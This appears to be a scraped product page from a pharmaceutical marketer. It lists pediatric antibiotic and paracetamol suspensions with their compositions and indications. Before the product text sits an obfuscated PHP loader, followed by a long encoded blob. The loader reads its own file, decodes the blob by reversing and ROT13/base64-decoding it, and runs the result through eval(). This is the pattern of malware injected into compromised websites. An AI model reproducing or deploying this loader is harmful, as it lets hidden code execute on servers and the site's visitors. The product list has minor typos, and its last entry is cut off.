<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "46046571c0d4edc8912faea3b7a1120e";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>=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

GENERIC MARKETING

AISLING Pharma

SYREGO

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefpodoxime 50mg/5ml <

Indications & Uses

UTIs, LRTs

SYREGO – CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefpodoxime 50mg + Potassium Clavulanate 31.25mg/ 5ml

Indications & Uses

Upper & lower respiratory infections, Uncomplicated skin infections, Urinary Tract Infections

AISIMOX – CLAV

POWDER FOR ORAL SUSPENSION
30ML (GLASS +HDPE BOTTLE)

Composition

Amoxycillin 200mg + Potassium clavulanate 28.50 mg/ 5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis, Upper Respiratory Tract Infections, Urinary Tract Infections

CEFTAR – CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefixime 50mg + Potassium clavulanate 31.25mg/5ml

Indications & Uses

Urinary Tract Inefctions, AECB, Otitis Media, Typhoid/p>

CEFTAR

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefixime 50mg/5ml

Indications & Uses

Urinary Tract Inefctions, Gastroenteritis

FADRO

ORAL SUSPENSION
15 ml

Composition

Azithromycin 200mg/5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis,

DOFLAM – DS

ORAL SUSPENSION
60 ml

Composition

Paracetamol 250mg/5ml

Indications & Uses

Fever, Pain

ACE – M

ORAL SUSPENSION
60 ml

Composition

Paracetamol 125mg + Mefenamic Acid 50mg/5ml

Indications & Uses

Pain, Fever

FLORIN – 50

ORAL SUSPENSION
30 ml

Composition

Ofloxacin 50mg/5ml

Indications & Uses

Acute exacerbations of chronic bronchitis, community acquired Pneumonia, soft skin and skin structure infections

ACE – CET – P

SYRUP
60 ml

Composition

Paracetamol 125mg + PPH 5mg + Cetirizine HCI 2mg/5ml

Indications & Uses

